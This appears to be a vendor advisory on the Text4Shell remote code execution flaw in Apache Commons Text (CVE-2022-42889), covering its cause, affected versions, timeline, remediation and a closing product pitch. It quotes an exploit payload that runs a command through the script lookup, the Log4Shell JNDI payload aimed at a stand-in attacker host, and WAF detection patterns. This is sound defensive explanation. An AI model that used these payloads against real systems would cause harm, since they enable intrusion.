Text4Shell Apache Commons Text RCE (CVE-2022-42889)

In October 2022, researchers disclosed a critical remote code execution vulnerability in Apache Commons Text, a widely used Java library for string manipulation. Tracked as CVE-2022-42889 and quickly nicknamed "Text4Shell" by the security community — a deliberate echo of Log4Shell — the flaw allows an attacker to achieve arbitrary code execution by supplying a specially crafted string to an application that performs unsafe variable interpolation. With a CVSS v3.1 base score of 9.8 (Critical), the bug generated immediate alarm across the industry given Commons Text's presence in thousands of Java applications, build tools, and frameworks. The real-world blast radius turned out to be narrower than Log4Shell's, but the underlying pattern — untrusted input flowing into a string-interpolation engine with dangerous default lookups enabled — is a recurring class of bug that every Java shop should understand and hunt for in its own code.

What Went Wrong

Apache Commons Text ships a StringSubstitutor class used to interpolate variables inside strings, similar in spirit to shell or template variable substitution (e.g., turning "Hello ${name}" into "Hello World"). The library supports a set of pluggable "lookups" that resolve different variable prefixes — things like ${sys:...} for system properties or ${env:...} for environment variables.

The problem was in the default lookups registered by the convenience factory method StringLookupFactory.INSTANCE.interpolatorStringLookup() (and StringSubstitutor.createInterpolator(), which uses it). Starting in version 1.5, this default set included three especially dangerous lookups:

• script — evaluates the interpolated string as JavaScript (or another JSR-223 scripting language) via the JVM's script engine
• dns — performs a DNS lookup, enabling SSRF and out-of-band data exfiltration
• url — fetches a remote URL, also enabling SSRF

If an application passed attacker-controlled input into a StringSubstitutor configured with these default interpolators, a payload like the following would trigger code execution:

${script:javascript:java.lang.Runtime.getRuntime().exec('calc.exe')}

This is functionally similar to the JNDI lookup abuse that powered Log4Shell (${jndi:ldap://attacker/a}) — hence the "Text4Shell" branding. The critical distinction, and the reason real-world exploitation proved less widespread than initial headlines suggested, is that Log4j's vulnerable lookup pattern was triggered simply by logging attacker-controlled strings — an extremely common operation performed by nearly every application. Commons Text's vulnerable path required a developer to specifically instantiate StringSubstitutor using the interpolator factory (rather than a lookup map scoped to safe prefixes) and feed it untrusted input directly. That is a narrower, though far from rare, coding pattern — found in templating utilities, configuration parsers, and custom "variable substitution" features built on top of the library.

Affected Versions and Components

• Vulnerable: Apache Commons Text 1.5 through 1.9
• Fixed in: Apache Commons Text 1.10.0
• Root cause: script, dns, and url interpolators enabled by default in StringLookupFactory/StringSubstitutor.createInterpolator()

Apache Commons Text is a transitive dependency pulled in by an enormous number of Java projects — build plugins, Apache Solr, Apache Struts–adjacent tooling, Spring-based applications, CI/CD utilities, and countless internal microservices that rely on it for string formatting, templating, or configuration processing. Because it's so frequently a transitive rather than direct dependency, many organizations initially struggled just to determine whether they were exposed, let alone whether the vulnerable API was actually reachable from attacker-controlled input.

CVSS, EPSS, and Exploitability Context

• CVSS v3.1: 9.8 (Critical) — reflecting network-exploitable, low-complexity, no-privileges-required RCE
• Exploit Prediction Scoring System (EPSS): In the weeks following disclosure, EPSS scores for CVE-2022-42889 fluctuated at elevated levels as researchers published proof-of-concept exploits and scanners began probing for the pattern, though scores generally trended lower over time as it became clear that exploitation required a specific, non-default usage pattern rather than a ubiquitous one.
• CISA KEV: Unlike Log4Shell, CVE-2022-42889 saw comparatively limited confirmed in-the-wild mass exploitation, largely because vulnerable call patterns (passing untrusted strings straight into the default interpolator) were less common than initial "next Log4Shell" comparisons implied. Security teams should still treat KEV status and exploitation intelligence as something to check against current threat feeds rather than assume, since exploitation activity and catalog listings evolve — the safest posture is to patch based on the CVSS 9.8 severity and reachability in your own code, not on the absence of a KEV listing.

The gap between the theoretical severity (9.8) and the practical exploitation rate is itself the lesson: severity scores describe worst-case impact assuming the vulnerable code path is reachable. Whether it is reachable in your specific application is a separate question — and it's the question that determines whether this is a drop-everything incident or a routine patch cycle.

Timeline

• ~September 2022 — Alvaro Muñoz of the GitHub Security Lab identifies and reports the unsafe default interpolator behavior to the Apache Commons team.
• October 13, 2022 — Apache releases Commons Text 1.10.0, removing script, dns, and url from the default set of interpolators and hardening the library against unsafe lookups.
• October 18, 2022 — CVE-2022-42889 is publicly disclosed and assigned a CVSS score of 9.8. Media and security researchers quickly draw comparisons to Log4Shell, coining the "Text4Shell" name and driving urgent scanning and patching efforts industry-wide.
• Late October–November 2022 — Public proof-of-concept exploits circulate; security vendors and CERTs issue advisories; debate emerges within the community over real-world exploitability given the narrower vulnerable-usage requirement compared to Log4j.
• Ongoing — Organizations continue to discover exposure during dependency audits and SBOM reviews, particularly where Commons Text arrives as a transitive dependency of build tooling, templating libraries, or internal frameworks rather than a direct, visible import.

Remediation Steps

1. Upgrade to Apache Commons Text 1.10.0 or later. This is the definitive fix — the patched release removes the dangerous lookups from the default interpolator, closing the vulnerability regardless of how your application uses the library.

2. Inventory both direct and transitive usage. Because Commons Text is frequently pulled in indirectly (via build plugins, templating frameworks, or internal utility libraries), a simple grep for the artifact in your top-level pom.xml or build.gradle is not sufficient. Generate a full dependency tree (mvn dependency:tree or gradle dependencies) or, better, work from a current SBOM to identify every module that resolves to an affected version.

3. If immediate upgrade isn't possible, audit for the vulnerable usage pattern. Search your codebase and third-party libraries for calls to StringSubstitutor.createInterpolator() or StringLookupFactory.INSTANCE.interpolatorStringLookup(). If found, confirm whether attacker-controlled input can reach the resulting substitutor. If it can, apply a compensating control by explicitly constructing the substitutor with a restricted lookup map instead of the default interpolator, excluding script, dns, and url.

4. Deploy detection and blocking rules as a stopgap. WAF or RASP rules that flag request parameters, headers, or file uploads containing ${script:, ${dns:, or ${url: patterns can reduce exposure while patching is scheduled, though these should never be treated as a substitute for the version upgrade.

5. Review logs for exploitation attempts. Search access and application logs for the same interpolator prefixes in inbound request data to determine whether probing or exploitation attempts have already occurred.

6. Re-scan and confirm. After upgrading, re-run dependency and SBOM scans to confirm no lingering vulnerable copies remain — shaded/fat JARs, vendored copies, or container base images can retain an old version even after the top-level build file is updated.

How Safeguard Helps

Text4Shell is a textbook case for why patch prioritization can't stop at "is this CVE in my dependency tree" — the real question is whether the vulnerable API is actually reachable from untrusted input in your code. Safeguard's reachability analysis traces call paths from your application entry points through transitive dependencies to determine whether the vulnerable StringSubstitutor interpolator pattern is exploitable in practice, letting teams separate genuine emergencies from theoretical exposure. Griffin AI, Safeguard's AI-powered triage engine, correlates that reachability signal with CVSS severity, exploitation intelligence, and your runtime context to rank Commons Text findings against everything else competing for your team's attention. Safeguard's SBOM generation and ingest capabilities give you a continuously accurate inventory of every direct and transitive Commons Text instance across your fleet — including shaded JARs and container images that manual audits routinely miss — so you're never relying on a point-in-time scan. And when a fix is warranted, Safeguard can open an auto-fix pull request that bumps Commons Text to 1.10.0 or later directly in your repository, turning a multi-team patch coordination effort into a one-click merge.